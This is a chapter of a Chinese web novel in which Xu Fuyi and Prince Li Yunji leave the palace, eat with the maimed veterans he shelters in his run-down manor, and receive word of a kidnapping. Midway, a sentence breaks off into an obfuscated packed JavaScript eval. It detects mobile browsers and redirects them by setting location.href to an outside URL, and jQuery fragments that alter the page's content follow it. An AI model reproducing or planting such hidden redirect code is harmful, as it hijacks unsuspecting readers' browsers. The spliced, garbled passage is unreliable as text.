10. 出事了

作品:《成为夺嫡文男主未婚妻

    殿内的烛火一根接着一根点燃,亮如白昼,模糊了时间的流逝。等到走出勤政殿,人群退去,露出那一抹浅红,才恍然大悟,原来已经傍晚了。


    绛侯被自己的女儿扯下脸皮狠狠在地上摩擦,早早就拂袖遁走,哪里还能记起自己有一个女儿呢?


    怕不是想着当年这个女儿出生就该掐死。


    徐拂衣一步一顿,迈下台阶。


    太累了。


    这里的台阶又多又密,一眼都望不到头,无人并肩、无人搀扶,只有她自己顶着几步一个侍卫暗暗打量的目光,不知道最后要走到哪里去。


    急匆匆的脚步一路追过来。


    “徐拂衣!”


    少年的身影“噌”得一下窜到她面前:


    “你怎么不等等我?”


    风吹得她有点冷,呼吸之间都带着点点的冷气,疏离了她的眉眼:


    “你不是要留在宫里吗,我怎么等你”?


    “我不留!”


    他是先帝最小的孩子,没有弟妹,总是里面虽有年纪比他小的孩子,但他也不放在眼里。只有徐拂衣,只有她明明年纪比自己还大几个月,却让他不自觉地起了一点爱护之情。


    “你是不是没地方能去?”


    刚与血缘关系上的父亲那样激烈辩驳着的徐三姑娘说不出来话。


    她在这个世界上只有原身有一个血缘上的家,灵魂无处安放。可在自己的世界,她就有家了吗?


    还是没有。


    幼年父母去世,除了在叔叔家的那小半年,她一直生活在福利院,福利院既是家也不是家。


    一时之间,天地之大,不知何处为家。


    她只觉得自己有点累了,不想说话,低着头继续往前走,忽然袖子被扯住。


    李云集绕到她前面,背对的夕阳将她笼罩进他的影子里。


    他一句话也不说,只是拽着她,一路追着阳光奔跑。


    飞扬的发带不受拘束。


    直到徐拂衣忍不住问:


    “你要带我去哪?!”


    “把你绑回我的王府!”


    他回首,笑得张扬肆意,带着她尽情地奔跑在肃穆的皇宫。


    真是的,都跑热了。


    微微的热意涌上心头,进而温暖全身。


    风咋咋呼呼地带着他们的热烈席卷整个皇宫,吹了几步路,就冷了下来。


    “谁的声音?”


    从珍兽坊到勤政殿的路上走着一个单薄的黑衣青年,他眉眼温和,语气中有种说不出来的温柔:


    “是朕忘了,除了二弟,谁还能在宫里这样的肆意。”


    “陛下,太后娘娘还在等着。”


    年轻的帝王望向弟弟远去的身影,转身,背道而驰,渐渐地远离了最后的光亮,越行越远。


    两个人在门口徘徊了好几圈,徐拂衣眼睁睁地看着英王府的牌子从她面前溜走了好几次,终于忍无可忍:


    “你到底想干什么,天都黑了。”


    “咳”李云集看天看地,就是不敢看她,飞快且小声地说:


    “我王府里有点穷,你别嫌弃。”


    一个王爷在她面前说自己穷?


    还真是有点不太能理解。


    徐拂衣承认自己被勾起了兴趣。


    门口没有门童守着,她轻轻扣上大门。


    “咯吱”几声,门就在她面前颤颤巍巍的,倒了。


    倒了?!


    这不会是什么豆腐渣工程吧?


    李云集像是洞察了她的想法,尴尬地笑笑:“以前这个门的木材不错,我就给卖了。”


    卖,门?!


    “桌子、椅子、床,这些不会都叫你卖了吧?”


    “······好吧,其实还有陶瓷和漆器······对了,那个棺材也是个好木头,也能拿来卖钱。就是被我刺了一剑,估计会被压价。”


    他还挺了解行情的。


    ······


    李云集率先进去王府,转过头一看:


    她站在大门的废墟旁,脚就像粘在地上,一步都不敢动。


    徐拂衣的声音虚虚的:


    “我有点饿了,你王府里有饭吃吗?”


    “······这个,这会儿厨房可能还真没有吃的了。”他停了好一会儿,像是下定了某种决心:


    “不然,我带你去一个地方吃?”


    其实她想拒绝的,怕去酒楼两个人都没钱付,被当成吃霸王餐的赶出来,那属实是有点社会性死亡。


    然后就被李云集拽进王府了。


    “这就是你说的吃饭的地方?”


    他俩站在王府最东边的一面高墙,徐拂衣怀疑自己饿昏头了:“在这里边?”


    “对啊,就是这。”李云集敲响了隐藏在墙上的一道门:


    “老许,开门,我回来了!”


    墙那边传来细细碎碎的议论声,很快就有很多脚步向他们这边靠拢。


    门打开,探出来一个皱皱巴巴的老头,他只有一只眼睛,见到李云集的那一刹那,泪水就充满了眼眶:


    “王爷!你真的还活着!”


    许老头立刻冲上来抱住他,死死不撒手。


    “哎哎哎,老许,你冷静点。”


    他缩着手,不断地向往后退,许老头的眼泪在他面前喷涌。李云集愣住了,双手慢慢放到了许老头身上,僵硬中又透露出一点温柔:


    “好了,我这不活得好好的嘛,你快别哭了,我这新换的衣服都要被你眼泪浸湿了。”


    从门那边还露出了几个脑袋,老的小的,大概四五个人,无一例外,不是缺了一条腿就是少了眼睛或者胳膊。


    他们外表并都矮小,但都有点怯怯的,不敢正眼看她,只敢把目光投在“死而复生”的英王身上。


    徐拂衣还看到那边有一个身影本来想凑过来的,也许是看到了陌生人,又缩回去了。


    “这是绛侯府的三姑娘。”李云集感觉有点不自在,轻声且快速地说:


    “也是皇考给我定下的未婚妻。”


    他忐忑地关注着徐拂衣的表情。


    “你们好。”礼貌朝他们点头,“所以,是他们有人会做饭吗?我真的有点饿了,顺带问一下可以点餐吗?”


    她姿态乖巧、平和,就像是来朋友家做客,询问什么时候可以吃饭一样。


    “可以!当然可以!姑娘想吃什么我小老头就做什么!”许老头愣了一下,满口答应。


    “逗您的!”徐拂衣一笑:


    “别这么紧张啊,我不挑食的,再说哪里有客人点菜的道理”?


    气氛松快下来。


    门后边的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14375678|153149||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    跟着一起笑,簇拥着他们俩,往里面走。


    “不给我介绍一下吗?”坐定后,趁着大家在厨房里忙着,他俩都被赶出来的独处时间,徐拂衣才问。


    “老许是我第一次上战场他被划瞎了眼睛,鳏夫一个,上没有老下没有小,我就把他带到京城里面来了。”他环视了一圈,“这里的人,都是我从战场上带来的,无牵无挂,就跟着我来京城了,平时就都待在这个院子里,帮我喂一下外边的马。”


    “李云集啊。”她轻轻叹口气,“你真是······让我不好形容。”


    温柔与残暴,这样的品质是如何在同一个人身上共同拥有的呢?


    也许是面对的人不一样吧。


    “我怎么不好形容了?京城里的人都说我是一个疯子,你不觉得吗?”


    “不觉得啊。”


    看着她托腮看向自己认真思索的目光,李云集忽然有点期待她口中的自己。


    “第一次见面你就帮我杀了杨嬷嬷,我跟你说,她可真不是个好人,好几天都不允许我吃饭。”


    “后来,好几次你都救了我。不过你有几次也想杀了我,现在又收留了这么一个院子的人。你说,你到底是个好人还是坏人呢?”


    他的心脏跳得有点快了,李云集轻轻反驳她:


    “我就是个疯子。”


    “好吧”徐拂衣耸了耸肩,“你是个疯子。”


    她在心里补充了一句:


    不一样的疯子。


    “菜来喽——”


    许老头和几个人一人端了一个菜上桌:“对不住了姑娘,都是些素的。”


    徐拂衣接过那一碗给她堆得满满当当的白米饭:“没事,这些就可以了,看着就好吃。”


    他们俩是真得饿狠了,这么多天就在田江家里吃了一顿饭,三天饿六顿,脸都有点凹进去了,瘦得走路跟魂似的飘着走。


    好吃,是真香!


    调味料自然是没有现代那么多,但是胜在火候掌握得好,都是些青菜叶子、豆腐这一类的,也是唇齿留香。


    李云集却越吃越沉默,他想起了他父皇。


    先皇活了大半辈子,临了临了信起了佛,整日里吃斋念经。


    他整日出去打仗,父子俩这些年见面的时间屈指可数。先皇觉得他身上杀孽过重,自己道行不够,怕被影响,就不怎么见他。


    现在回想,只有幼年母妃刚去世的那段时间里,他没人要,就被父皇养着玩了一段时间,这段日子,是他和父亲最好的回忆。


    手边瓷碗滚烫的温度拉回打破他的沉迷,徐拂衣盛了一碗汤递给他:


    “尝尝,这汤很鲜。”


    他端着汤,顺着碗边,轻轻吹,热汽模糊了眼睛。


    风吹得门呼呼作响。


    “对了,云风怎么还没回来?不是让他把田江父女俩安顿好了就回来吗,这么晚了······”


    “殿下,殿下!”


    外面的侍从领着一个小姑娘匆匆闯进来:“她拿着云风大人的令牌说有信要给你。”


    那小姑娘刚进来就一阵哭,边哭边说:


    “阿父,阿父被坏人抓了!”


    是田馥。


    李云集快速接过信,打开一看,行笔匆匆,但能看出来是云风的字迹:


    城东客栈,速来。